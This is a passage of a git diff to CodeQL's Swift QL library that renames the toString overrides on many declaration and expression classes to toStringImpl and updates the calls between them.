+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/EnumElementDeclImpl.qll
@@ -12,7 +12,7 @@ module Impl {
    * ```
    */
   class EnumElementDecl extends Generated::EnumElementDecl {
-    override string toString() { result = this.getName() }
+    override string toStringImpl() { result = this.getName() }
 
     /**
      * Holds if this enum element declaration is called `enumElementName` and is a member of an
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/ExtensionDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/ExtensionDeclImpl.qll
index 1d31a99a5357..57c02190006c 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/ExtensionDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/ExtensionDeclImpl.qll
@@ -2,9 +2,10 @@ private import codeql.swift.generated.decl.ExtensionDecl
 
 module Impl {
   class ExtensionDecl extends Generated::ExtensionDecl {
-    override string toString() {
+    override string toStringImpl() {
       result =
-        "extension of " + unique(NominalTypeDecl td | td = this.getExtendedTypeDecl()).toString()
+        "extension of " +
+          unique(NominalTypeDecl td | td = this.getExtendedTypeDecl()).toStringImpl()
       or
       count(this.getExtendedTypeDecl()) != 1 and
       result = "extension"
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/FunctionImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/FunctionImpl.qll
index 054b0b81e50b..f0f1f4a1b438 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/FunctionImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/FunctionImpl.qll
@@ -6,7 +6,7 @@ module Impl {
    * A function.
    */
   class Function extends Generated::Function {
-    override string toString() { result = this.getName() }
+    override string toStringImpl() { result = this.getName() }
 
     /**
      * Gets the name of this function, without the argument list. For example
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/IfConfigDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/IfConfigDeclImpl.qll
index 395409992d5a..1c867c19f8b1 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/IfConfigDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/IfConfigDeclImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.decl.IfConfigDecl
 
 module Impl {
   class IfConfigDecl extends Generated::IfConfigDecl {
-    override string toString() { result = "#if ..." }
+    override string toStringImpl() { result = "#if ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/ImportDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/ImportDeclImpl.qll
index 2e0aa369bd17..26107ec1d4aa 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/ImportDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/ImportDeclImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.decl.ImportDecl
 
 module Impl {
   class ImportDecl extends Generated::ImportDecl {
-    override string toString() { result = "import ..." }
+    override string toStringImpl() { result = "import ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/InitializerImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/InitializerImpl.qll
index 662c7c4b1fb0..3a7b024cdf22 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/InitializerImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/InitializerImpl.qll
@@ -9,7 +9,9 @@ module Impl {
    * An initializer of a class, struct, enum or protocol.
    */
   class Initializer extends Generated::Initializer, MethodImpl::Method {
-    override string toString() { result = this.getSelfParam().getType() + "." + super.toString() }
+    override string toStringImpl() {
+      result = this.getSelfParam().getType().toStringImpl() + "." + super.toStringImpl()
+    }
 
     /** Holds if this initializer returns an optional type. Failable initializers are written as `init?`. */
     predicate isFailable() {
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/MissingMemberDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/MissingMemberDeclImpl.qll
index 51c9744ceea8..d53d17518d9f 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/MissingMemberDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/MissingMemberDeclImpl.qll
@@ -6,6 +6,6 @@ module Impl {
    * A placeholder for missing declarations that can arise on object deserialization.
    */
   class MissingMemberDecl extends Generated::MissingMemberDecl {
-    override string toString() { result = this.getName() + " (missing)" }
+    override string toStringImpl() { result = this.getName() + " (missing)" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/OperatorDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/OperatorDeclImpl.qll
index cee4d691c89f..0fc35aaf607b 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/OperatorDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/OperatorDeclImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.decl.OperatorDecl
 
 module Impl {
   class OperatorDecl extends Generated::OperatorDecl {
-    override string toString() { result = this.getName() }
+    override string toStringImpl() { result = this.getName() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/PatternBindingDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/PatternBindingDeclImpl.qll
index 5cca53c3d482..3289420617a8 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/PatternBindingDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/PatternBindingDeclImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.decl.PatternBindingDecl
 
 module Impl {
   class PatternBindingDecl extends Generated::PatternBindingDecl {
-    override string toString() { result = "var ... = ..." }
+    override string toStringImpl() { result = "var ... = ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/PoundDiagnosticDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/PoundDiagnosticDeclImpl.qll
index b7e9caab00ae..fe175b4ea04f 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/PoundDiagnosticDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/PoundDiagnosticDeclImpl.qll
@@ -6,7 +6,7 @@ module Impl {
    * A diagnostic directive, which is either `#error` or `#warning`.
    */
   class PoundDiagnosticDecl extends Generated::PoundDiagnosticDecl {
-    override string toString() {
+    override string toStringImpl() {
       this.isError() and result = "#error(...)"
       or
       this.isWarning() and result = "#warning(...)"
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/PrecedenceGroupDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/PrecedenceGroupDeclImpl.qll
index 1f85a0d563d3..baa7ed3d5b56 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/PrecedenceGroupDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/PrecedenceGroupDeclImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.decl.PrecedenceGroupDecl
 
 module Impl {
   class PrecedenceGroupDecl extends Generated::PrecedenceGroupDecl {
-    override string toString() { result = "precedencegroup ..." }
+    override string toStringImpl() { result = "precedencegroup ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/SubscriptDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/SubscriptDeclImpl.qll
index 32a963340544..13eea583f93c 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/SubscriptDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/SubscriptDeclImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.decl.SubscriptDecl
 
 module Impl {
   class SubscriptDecl extends Generated::SubscriptDecl {
-    override string toString() { result = "subscript ..." }
+    override string toStringImpl() { result = "subscript ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/TopLevelCodeDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/TopLevelCodeDeclImpl.qll
index f3f8e0683be2..77e0a168a9ac 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/TopLevelCodeDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/TopLevelCodeDeclImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.decl.TopLevelCodeDecl
 
 module Impl {
   class TopLevelCodeDecl extends Generated::TopLevelCodeDecl {
-    override string toString() { result = this.getBody().toString() }
+    override string toStringImpl() { result = this.getBody().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/TypeDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/TypeDeclImpl.qll
index 1ddadd790ffe..d47742cab1ed 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/TypeDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/TypeDeclImpl.qll
@@ -18,7 +18,7 @@ module Impl {
    * have type declarations.
    */
   class TypeDecl extends Generated::TypeDecl {
-    override string toString() { result = this.getName() }
+    override string toStringImpl() { result = this.getName() }
 
     /**
      * Gets the `index`th base type of this type declaration (0-based).
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/VarDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/VarDeclImpl.qll
index 0a28fec7e57c..8a3ef866e1b6 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/VarDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/VarDeclImpl.qll
@@ -22,7 +22,7 @@ module Impl {
    * * ...
    */
   class VarDecl extends Generated::VarDecl {
-    override string toString() { result = this.getName() }
+    override string toStringImpl() { result = this.getName() }
   }
 
   /**
diff --git a/swift/ql/lib/codeql/swift/elements/expr/InitializerLookupExpr.qll b/swift/ql/lib/codeql/swift/elements/expr/InitializerLookupExpr.qll
index 961a2d9a5a88..54958639b806 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/InitializerLookupExpr.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/InitializerLookupExpr.qll
@@ -5,7 +5,7 @@ private import codeql.swift.elements.decl.Initializer
 final private class InitializerLookupExprImpl extends Impl::MethodLookupExpr {
   InitializerLookupExprImpl() { super.getMethod() instanceof Initializer }
 
-  override string toString() { result = this.getMember().toString() }
+  override string toStringImpl() { result = this.getMember().toString() }
 }
 
 final class InitializerLookupExpr extends MethodLookupExpr, InitializerLookupExprImpl {
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ApplyExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ApplyExprImpl.qll
index ec5b88b6bf32..87a2f9481c8e 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ApplyExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ApplyExprImpl.qll
@@ -21,8 +21,8 @@ module Impl {
       result.getLabel() = label
     }
 
-    override string toString() {
-      result = "call to " + this.getStaticTarget().toString()
+    override string toStringImpl() {
+      result = "call to " + this.getStaticTarget().toStringImpl()
       or
       not exists(this.getStaticTarget()) and
       result = "call to ..."
@@ -48,7 +48,7 @@ module Impl {
 
     override Expr getQualifier() { result = expr.getQualifier() }
 
-    override string toString() { result = "call to " + expr }
+    override string toStringImpl() { result = "call to " + expr }
   }
 
   private class FullDotSyntaxBaseIgnoredApplyExpr extends ApplyExpr {
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ArgumentImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ArgumentImpl.qll
index dd46a84a21d3..944f11489211 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ArgumentImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ArgumentImpl.qll
@@ -3,7 +3,9 @@ private import codeql.swift.elements.expr.ApplyExpr
 
 module Impl {
   class Argument extends Generated::Argument {
-    override string toString() { result = this.getLabel() + ": " + this.getExpr().toString() }
+    override string toStringImpl() {
+      result = this.getLabel() + ": " + this.getExpr().toStringImpl()
+    }
 
     int getIndex() { any(ApplyExpr apply).getArgument(result) = this }
 
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ArrayExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ArrayExprImpl.qll
index e2b04c7c0176..d8d50c168c2b 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ArrayExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ArrayExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.ArrayExpr
 
 module Impl {
   class ArrayExpr extends Generated::ArrayExpr {
-    override string toString() { result = "[...]" }
+    override string toStringImpl() { result = "[...]" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/AssignExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/AssignExprImpl.qll
index a77c7e0b6f80..d7194fd3f8d2 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/AssignExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/AssignExprImpl.qll
@@ -48,7 +48,7 @@ module Impl {
    * ```
    */
   class AssignExpr extends Generated::AssignExpr {
-    override string toString() { result = " ... = ..." }
+    override string toStringImpl() { result = " ... = ..." }
   }
 
   private class AssignExprAssignment extends Assignment instanceof AssignExpr {
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/AutoClosureExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/AutoClosureExprImpl.qll
index 69633e2dcc7f..a2aea3a73209 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/AutoClosureExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/AutoClosureExprImpl.qll
@@ -27,6 +27,6 @@ module Impl {
      */
     Expr getExpr() { result = this.getReturn().getResult() }
 
-    override string toString() { result = this.getBody().toString() }
+    override string toStringImpl() { result = this.getBody().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/AwaitExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/AwaitExprImpl.qll
index afae7e0bc5bc..d5ba9381a466 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/AwaitExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/AwaitExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.AwaitExpr
 
 module Impl {
   class AwaitExpr extends Generated::AwaitExpr {
-    override string toString() { result = "await ..." }
+    override string toStringImpl() { result = "await ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/BinaryExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/BinaryExprImpl.qll
index e823c08375d8..2210bc58526d 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/BinaryExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/BinaryExprImpl.qll
@@ -31,7 +31,7 @@ module Impl {
      */
     Expr getAnOperand() { result = [this.getLeftOperand(), this.getRightOperand()] }
 
-    override string toString() { result = "... " + this.getFunction().toString() + " ..." }
+    override string toStringImpl() { result = "... " + this.getFunction().toStringImpl() + " ..." }
 
     override Function getStaticTarget() { result = super.getStaticTarget() }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/BindOptionalExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/BindOptionalExprImpl.qll
index 3a50de5166e0..d72dbe25e6cc 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/BindOptionalExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/BindOptionalExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.BindOptionalExpr
 
 module Impl {
   class BindOptionalExpr extends Generated::BindOptionalExpr {
-    override string toString() { result = "...?" }
+    override string toStringImpl() { result = "...?" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/BooleanLiteralExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/BooleanLiteralExprImpl.qll
index abb23239bb2e..e0dc9a4c3029 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/BooleanLiteralExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/BooleanLiteralExprImpl.qll
@@ -8,7 +8,7 @@ module Impl {
    * ```
    */
   class BooleanLiteralExpr extends Generated::BooleanLiteralExpr {
-    override string toString() { result = this.getValue().toString() }
+    override string toStringImpl() { result = this.getValue().toString() }
 
     override string getValueString() { result = this.getValue().toString() }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/CaptureListExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/CaptureListExprImpl.qll
index 05cb4ff9725e..2725488d9d97 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/CaptureListExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/CaptureListExprImpl.qll
@@ -3,7 +3,7 @@ private import codeql.swift.elements.pattern.NamedPattern
 
 module Impl {
   class CaptureListExpr extends Generated::CaptureListExpr {
-    override string toString() { result = this.getClosureBody().toString() }
+    override string toStringImpl() { result = this.getClosureBody().toStringImpl() }
 
     override VarDecl getVariable(int index) {
       // all capture binding declarations consist of a single named pattern
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ClosureExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ClosureExprImpl.qll
index 198f22c32e01..4a4ab3b67597 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ClosureExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ClosureExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.ClosureExpr
 
 module Impl {
   class ClosureExpr extends Generated::ClosureExpr {
-    override string toString() { result = "{ ... }" }
+    override string toStringImpl() { result = "{ ... }" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/DeclRefExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/DeclRefExprImpl.qll
index 0429b6161307..01aa81fed04e 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/DeclRefExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/DeclRefExprImpl.qll
@@ -6,9 +6,9 @@ module Impl {
    * An expression that references or accesses a declaration.
    */
   class DeclRefExpr extends Generated::DeclRefExpr {
-    override string toString() {
-      if exists(this.getDecl().toString())
-      then result = this.getDecl().toString()
+    override string toStringImpl() {
+      if exists(this.getDecl().toStringImpl())
+      then result = this.getDecl().toStringImpl()
       else result = "(unknown declaration)"
     }
 
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/DefaultArgumentExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/DefaultArgumentExprImpl.qll
index 21481301dfb9..553cda549c07 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/DefaultArgumentExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/DefaultArgumentExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.DefaultArgumentExpr
 
 module Impl {
   class DefaultArgumentExpr extends Generated::DefaultArgumentExpr {
-    override string toString() { result = "default " + this.getParamDecl().getName() }
+    override string toStringImpl() { result = "default " + this.getParamDecl().getName() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/DictionaryExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/DictionaryExprImpl.qll
index 92517497864d..c324fadb8079 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/DictionaryExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/DictionaryExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.DictionaryExpr
 
 module Impl {
   class DictionaryExpr extends Generated::DictionaryExpr {
-    override string toString() { result = "[...]" }
+    override string toStringImpl() { result = "[...]" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/DiscardAssignmentExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/DiscardAssignmentExprImpl.qll
index 5516e13db11d..22b9c5f025e7 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/DiscardAssignmentExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/DiscardAssignmentExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.DiscardAssignmentExpr
 
 module Impl {
   class DiscardAssignmentExpr extends Generated::DiscardAssignmentExpr {
-    override string toString() { result = "_" }
+    override string toStringImpl() { result = "_" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/DotSelfExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/DotSelfExprImpl.qll
index b9652363eb3b..d1f75b8de1ee 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/DotSelfExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/DotSelfExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.DotSelfExpr
 
 module Impl {
   class DotSelfExpr extends Generated::DotSelfExpr {
-    override string toString() { result = ".self" }
+    override string toStringImpl() { result = ".self" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/DotSyntaxBaseIgnoredExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/DotSyntaxBaseIgnoredExprImpl.qll
index 3e9a72b37e04..5df2083e2759 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/DotSyntaxBaseIgnoredExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/DotSyntaxBaseIgnoredExprImpl.qll
@@ -16,13 +16,13 @@ module Impl {
    * which in turn can be accessed using the `getSubExpr/0` predicate.
    */
   class DotSyntaxBaseIgnoredExpr extends Generated::DotSyntaxBaseIgnoredExpr {
-    override string toString() {
+    override string toStringImpl() {
       result =
         any(string base |
-            if exists(this.getQualifier().(TypeExpr).getTypeRepr().toString())
-            then base = this.getQualifier().(TypeExpr).getTypeRepr().toString() + "."
+            if exists(this.getQualifier().(TypeExpr).getTypeRepr().toStringImpl())
+            then base = this.getQualifier().(TypeExpr).getTypeRepr().toStringImpl() + "."
             else base = "."
-          ) + this.getMethod()
+          ) + this.getMethod().toStringImpl()
     }
 
     /**
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicMemberRefExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicMemberRefExprImpl.qll
index 7f03f564d0fa..06e2bc54af19 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicMemberRefExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicMemberRefExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.DynamicMemberRefExpr
 
 module Impl {
   class DynamicMemberRefExpr extends Generated::DynamicMemberRefExpr {
-    override string toString() { result = "." + this.getMember().toString() }
+    override string toStringImpl() { result = "." + this.getMember().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicSubscriptExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicSubscriptExprImpl.qll
index fd18ae9f5679..dc583cc3197c 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicSubscriptExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicSubscriptExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.DynamicSubscriptExpr
 
 module Impl {
   class DynamicSubscriptExpr extends Generated::DynamicSubscriptExpr {
-    override string toString() { result = this.getMember().toString() + "[...]" }
+    override string toStringImpl() { result = this.getMember().toStringImpl() + "[...]" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicTypeExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicTypeExprImpl.qll
index 2ed7a8734e22..6ada598e4213 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicTypeExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/DynamicTypeExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.DynamicTypeExpr
 
 module Impl {
   class DynamicTypeExpr extends Generated::DynamicTypeExpr {
-    override string toString() { result = "type(of: ...)" }
+    override string toStringImpl() { result = "type(of: ...)" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/EnumIsCaseExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/EnumIsCaseExprImpl.qll
index 941591e77fa6..f154944f5734 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/EnumIsCaseExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/EnumIsCaseExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.EnumIsCaseExpr
 
 module Impl {
   class EnumIsCaseExpr extends Generated::EnumIsCaseExpr {
-    override string toString() { result = "... is " + this.getElement().toString() }
+    override string toStringImpl() { result = "... is " + this.getElement().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ExplicitCastExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ExplicitCastExprImpl.qll
index 9e961502ccd1..76814e7c70ad 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ExplicitCastExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ExplicitCastExprImpl.qll
@@ -4,6 +4,6 @@ module Impl {
   class ExplicitCastExpr extends Generated::ExplicitCastExpr {
     override predicate convertsFrom(Expr e) { e = this.getImmediateSubExpr() }
 
-    override string toString() { result = "(" + this.getType() + ") ..." }
+    override string toStringImpl() { result = "(" + this.getType() + ") ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/FloatLiteralExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/FloatLiteralExprImpl.qll
index c7a7f1c714f4..68e96b0b6c64 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/FloatLiteralExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/FloatLiteralExprImpl.qll
@@ -2,7 +2,7 @@ private import codeql.swift.generated.expr.FloatLiteralExpr
 
 module Impl {
   class FloatLiteralExpr extends Generated::FloatLiteralExpr {
-    override string toString() { result = this.getStringValue() }
+    override string toStringImpl() { result = this.getStringValue() }
 
     override string getValueString() { result = this.getStringValue() }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ForceTryExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ForceTryExprImpl.qll
index 2f53e5138151..562d564fbcc6 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ForceTryExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ForceTryExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.ForceTryExpr
 
 module Impl {
   class ForceTryExpr extends Generated::ForceTryExpr {
-    override string toString() { result = "try! ..." }
+    override string toStringImpl() { result = "try! ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ForceValueExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ForceValueExprImpl.qll
index 84e89108c949..32a4f84ea770 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ForceValueExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ForceValueExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.ForceValueExpr
 
 module Impl {
   class ForceValueExpr extends Generated::ForceValueExpr {
-    override string toString() { result = "...!" }
+    override string toStringImpl() { result = "...!" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/IfExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/IfExprImpl.qll
index 359d3ff50945..65f72960a3f6 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/IfExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/IfExprImpl.qll
@@ -10,6 +10,6 @@ module Impl {
       result = this.getElseExpr()
     }
 
-    override string toString() { result = "... ? ... : ..." }
+    override string toStringImpl() { result = "... ? ... : ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ImplicitConversionExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ImplicitConversionExprImpl.qll
index f4ab0120cf87..35598dfc0739 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ImplicitConversionExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ImplicitConversionExprImpl.qll
@@ -4,6 +4,6 @@ module Impl {
   class ImplicitConversionExpr extends Generated::ImplicitConversionExpr {
     override predicate convertsFrom(Expr e) { e = this.getImmediateSubExpr() }
 
-    override string toString() { result = "(" + this.getType().toString() + ") ..." }
+    override string toStringImpl() { result = "(" + this.getType().toStringImpl() + ") ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/InOutExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/InOutExprImpl.qll
index 54acc229a957..3cddcc6bdc0e 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/InOutExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/InOutExprImpl.qll
@@ -2,7 +2,7 @@ private import codeql.swift.generated.expr.InOutExpr
 
 module Impl {
   class InOutExpr extends Generated::InOutExpr {
-    override string toString() { result = "&..." }
+    override string toStringImpl() { result = "&..." }
 
